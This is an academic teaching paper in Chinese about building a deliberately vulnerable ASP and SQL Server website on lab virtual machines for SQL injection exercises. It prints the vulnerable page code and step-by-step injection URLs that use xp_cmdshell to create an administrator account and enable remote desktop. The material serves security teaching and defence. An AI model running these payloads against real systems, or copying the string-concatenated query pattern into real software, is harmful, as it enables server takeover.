曾煌存
(廣東外語藝術職業(yè)學院 廣東 廣州 510640)
高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究*
曾煌存
(廣東外語藝術職業(yè)學院 廣東 廣州 510640)
SQL注入攻擊是黑客攻擊最常用的手段之一,其危害極大。在高職院校的網絡安全課中,使學生掌握SQL注入攻擊和相應的防范措施是一個教學難點。如果能夠搭建一個簡單的具有SQL注入漏洞的實驗環(huán)境,讓學生在這個實驗環(huán)境中進行模擬攻擊,對于學生更好地掌握SQL注入攻擊的原理和具體實施步驟具有很大的好處,進而能讓學生更好地掌握相應的安全防范措施。總結SQL注入攻擊實驗環(huán)境搭建及使用實踐,旨在對高職院校的SQL注入攻擊與防范實訓教學起到一定的促進作用。
高職院校;SQL注入攻擊;實驗環(huán)境;網絡安全
SQL注入攻擊是黑客攻擊最常用的手段之一,其危害極大。一些不具備很多網絡安全技術的“腳本小子”,使用一些傻瓜式SQL注入攻擊工具,就可能攻陷網站,進而控制服務器。
高職院校的 《網絡安全與防范》課程,具有培養(yǎng)學生掌握較高網絡安全防范技能的任務。因此,必須使學生掌握好SQL注入攻擊的防范措施。而為了真正掌握SQL注入攻擊的防范措施,又必須透徹理解SQL注入攻擊的原理和具體實施步驟。經驗表明,這是一個教學難點,因為它需要精心構造SQL語句,來完成信息的查詢、語句的執(zhí)行等。
我們開展了一項教學改革,旨在提高《網絡安全與防范》課程的教學效果。該教學改革中的一項內容,就是研究如何更好地開展SQL注入攻擊的教學。我們認為,如果能夠搭建一個簡單的具有SQL注入漏洞的動態(tài)網站,讓學生對這個網站進行模擬攻擊,對于學生更好地掌握SQL注入攻擊的原理和具體實施步驟具有很大好處,也能讓他們更好地掌握相應的安全防范措施。
我們使用 VMware WorkStation虛擬機軟件安裝了兩臺虛擬機,一臺虛擬機安裝的是Windows Server 2003操作系統(tǒng),用于模擬被攻擊的服務器,IP 地址為192.168.248.132;另一臺虛擬機安裝的是Windows XP操作系統(tǒng),用于模擬黑客使用的攻擊機,IP地址為 192.168.248.133。 在 Windows Server 2003虛擬機上,搭建了一個使用ASP+SQL Server 2000開發(fā)的簡單的動態(tài)網站。我們設計該動態(tài)網站的思路是:該網站具有SQL注入漏洞,能滿足SQL注入攻擊的實驗要求;該網站應該盡量簡單,以便于學生理解、分析和掌握。
按照以上設計思路,我們開發(fā)了一個簡單的名為testweb的動態(tài)網站。該動態(tài)網站需要訪問一個名為testweb的數據庫,該數據庫包含一個表:tblNews。tblNews用來保存新聞的標題和內容,初始時在這個表中輸入了一些測試用的數據。它的具體結構如表1所示。

表1 tblNews表包含的測試數據結構表
該網站包括以下三個頁面:conn.asp、news.asp、displayNews.asp。其中 conn.asp用于保存與 SQL Server 2000數據庫服務器的連接信息;news.asp用于讀取數據庫中的新聞記錄,顯示所有新聞的標題,并且將這些標題以超鏈接的形式顯示。當單擊某個新聞的標題后,即可以進入形如displayNews. asp?id=xxx的頁面,看到新聞的具體內容(其中“xxx”表示某條新聞在tblNews表中ID字段的值)。設置該網站的默認頁面為news.asp。
conn.asp的代碼如下所示:
<%
ConstSqlDatabaseName= " testweb"
Const SqlPassword = " michaeljordan"
Const SqlUsername="sa"
Const SqlLocalName="(local)"
dim ConnStr
ConnStr = "Provider = Sqloledb;User ID = " & SqlUsername&";Password="& SqlPassword&";Initial Catalog=" & SqlDatabaseName & ";Data Source="&SqlLocalName&";"
news.asp的代碼如下所示:
<!--#include file="conn.asp" -->
<%
Dim conn
Set conn=Server.CreateObject("ADODB.Connection")
conn.open ConnStr
dim strSql
strSql = "select * from tblNews"
dim rs
set rs=conn.Execute(strSql)
dim newsID
response.Write("<html>")
response.Write("<body>")
response.Write("<table>")
while not rs.EOF
response.Write("<tr>")
response.Write("<td>")
newsID=rs("ID")
response.Write("<a href='displayNews.asp?id="&newsID&" '>"&rs("title")&"</a>")
response.Write("</td>")
response.Write("</tr>")
rs.MoveNext
wend
response.Write("</table>")
response.Write("</body>")
response.Write("</html>")
rs.close()
conn.close
set rs=nothing
set conn=nothing
%>
displayNews.asp的代碼如下所示:
<!--#include file="conn.asp" -->
<%
Dim conn
Set conn=Server.CreateObject("ADODB.Connection")
conn.open ConnStr
dim newsID
newsID=request("id")
dim strSql
strSql="select*from tblNews where ID="&newsID
dim rs
set rs=conn.Execute(strSql)
response.Write(rs("content"))
rs.close()
conn.close
set rs=nothing
set conn=nothing
%
從以上三個頁面的具體代碼可以看出,我們所設計的動態(tài)網站具有簡單,易于理解、分析和掌握的優(yōu)點。
同時頁面 displayNews.asp有SQL注入漏洞,可以滿足SQL注入攻擊的實訓需要,其具有SQL注入漏洞的具體語句為:strSql="select *from tblNewswhereID="& newsID,該語句根據某條新聞的ID查詢tblNews表的內容。我們可以在形如displayNews.asp?id=xxx的地址后面加入精心構造的語句,從而執(zhí)行特定的SQL語句,控制服務器。
如上所述,我們開發(fā)的動態(tài)網站testweb具有SQL注入漏洞,下面我們通過具體的入侵步驟來展示該SQL注入攻擊實驗環(huán)境的使用。(以下攻擊步驟參考了相關網絡安全書籍的內容。)
(一)判斷網站是否有SQL注入漏洞
可以通過在displayNews.asp? id=1后加上 “’”、“and 1=1”和“and 1=2”等方法來判斷網站是否有SQL注入漏洞。如在地址欄輸入 :http://192.168.248.132/testweb/ displayNews.asp?id=1’ (1)
頁面返回如下錯誤信息:
MicrosoftOLE DB Provider for SQL Server錯誤 '80040e14'
字符串 ''之前有未閉合的引號。
/testweb/displayNews.asp,行 13
從以上提示信息可以看出,數據庫服務器為SQL Server。(1)的原理是:正常的SQL語句為select *from tblNews whereID=1,而(1)導致SQL語句成為:select* from tblNews where ID=1’,這樣會使得單引號沒有閉合而出錯。
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp? id=1 and 1=1 (2)
返回正常頁面。而在地址欄輸入:http://192.168.248.132/testweb/displayNews.asp?id=1 and 1=2(3)
返回的錯誤信息是:
ADODB.Field錯誤'80020009'
BOF或 EOF中有一個是“真”,或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
/testweb/displayNews.asp,行 0
(2)導致 SQL語句成為:select*from tblNews where ID=1 and 1=1,因為1=1為永真式,所以不影響原來的查詢結果,返回正常頁面。而(3)導致SQL語句成為:select*from tblNews where ID=1 and 1=2,因為1=2為永假式,所以查詢結果為空,而程序中沒有對此進行處理,所以導致出現錯誤提示信息。
通過以上測試,可以明確地知道網站存在SQL注入漏洞,而且數據庫服務器為SQL Server。
(二)查找是否有xp_cmdshell擴展存儲過程
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp?id= 1 and exists(select*from master. dbo.sysobjects where name=’xp_ cmdshell’)
頁面返回正常,從而知道m(xù)aster.dbo.sysobjects表中存在擴展過程 xp_cmdshell。通過執(zhí)行xp_cmdshell存儲過程可以實現添加用戶、將用戶添加到管理員組、開啟遠程終端連接等許多操作。
(三)通過xp_cmdshell添加系統(tǒng)管理員賬戶
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘net user test test/add’ (4)
頁面返回正常。執(zhí)行該語句后,可以添加一個名為test,密碼也為test的賬戶。(4)的原理是:通過xp_cmdshell擴展存儲過程,執(zhí)行net user命令,實現添加賬戶的操作。
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘net localgroup administrators test/add’
頁面返回正常。執(zhí)行該語句后,可以將賬戶test添加到系統(tǒng)管理員組。
(四)開啟目標計算機的遠程終端連接
在地址欄輸入:http://192.168. 248.132/testweb/displayNews.asp?id= 1;exec master..xp_cmdshell‘reg add“HKLMSystemCurrentControl-SetControlTerminal Server”/v fDeny TSConnections/t RE G_DWORD/d 0/f’ (5)
頁面返回正常。執(zhí)行完后,可以開啟目標計算機的遠程終端連接。(5)的原理是:通過 xp_cmdshell擴展存儲過程,執(zhí)行reg add語句,完成修改注冊表,開啟遠程終端連接的操作。執(zhí)行完以上步驟之后,即可以使用新建的test賬號遠程登錄目標計算機192.168.248.132。
為了使學生掌握SQL注入攻擊的原理、具體實施步驟和相應的防范措施,必須搭建實驗環(huán)境讓他們演練SQL注入攻擊的實施步驟。為此,我們搭建了一個ASP+SQL Server 2000環(huán)境下的SQL Server注入攻擊實驗環(huán)境。我們沒有使用Dvbbs等現成的動態(tài)網站,因為這些動態(tài)網站功能較齊全,但代碼很復雜,不利于初學者理解、分析和掌握。我們設計的動態(tài)網站具有簡單,易于學生理解、分析和掌握的優(yōu)點。我們演示了在該實驗環(huán)境中進行SQL注入攻擊,判斷是否存在SQL注入漏洞,判斷數據庫服務器是否支持xp_cmdshell擴展過程,使用xp_cmdshell添加系統(tǒng)管理員賬號、開啟遠程終端連接、使用攻擊機遠程登錄目標計算機等操作。這表明使用我們搭建的簡單的SQL注入攻擊實驗環(huán)境,可以方便地進行SQL注入攻擊演練。這對提高學生的學習興趣,掌握SQL注入攻擊的原理和具體的實施步驟,提高網絡安全防護意識等都具有很大的好處。
同時,利用該實驗環(huán)境,或者對該實驗環(huán)境稍微進行擴展,我們還可以進行更多的SQL注入攻擊演練,如猜解數據庫、表、字段的數目、字段的名稱、字段的內容等等。
我們的教學經驗表明,通過使用這個簡單的實驗環(huán)境,教學效果能得到明顯的提升。
[1]肖遙.大中型網絡入侵要案直擊與防御[M].北京:電子工業(yè)出版社,2011.
[2]朱錫華,劉月鏵,侯偉.暗戰(zhàn)亮劍——黑客滲透與防御全程實錄 [M].北京:人民郵電出版社,2010.
[3]武新華,陳艷艷,王英英.矛與盾:黑客攻防與腳本編程[M].北京:機械工業(yè)出版社,2010.
G712
A
1672-5727(2013)12-0168-03
曾煌存,碩士,廣東外語藝術職業(yè)學院講師,研究方向為網絡安全技術。
廣東外語藝術職業(yè)學院2010年度院級科研課題《〈網絡安全與防范〉課程改革的研究》(課題編號:2010G15)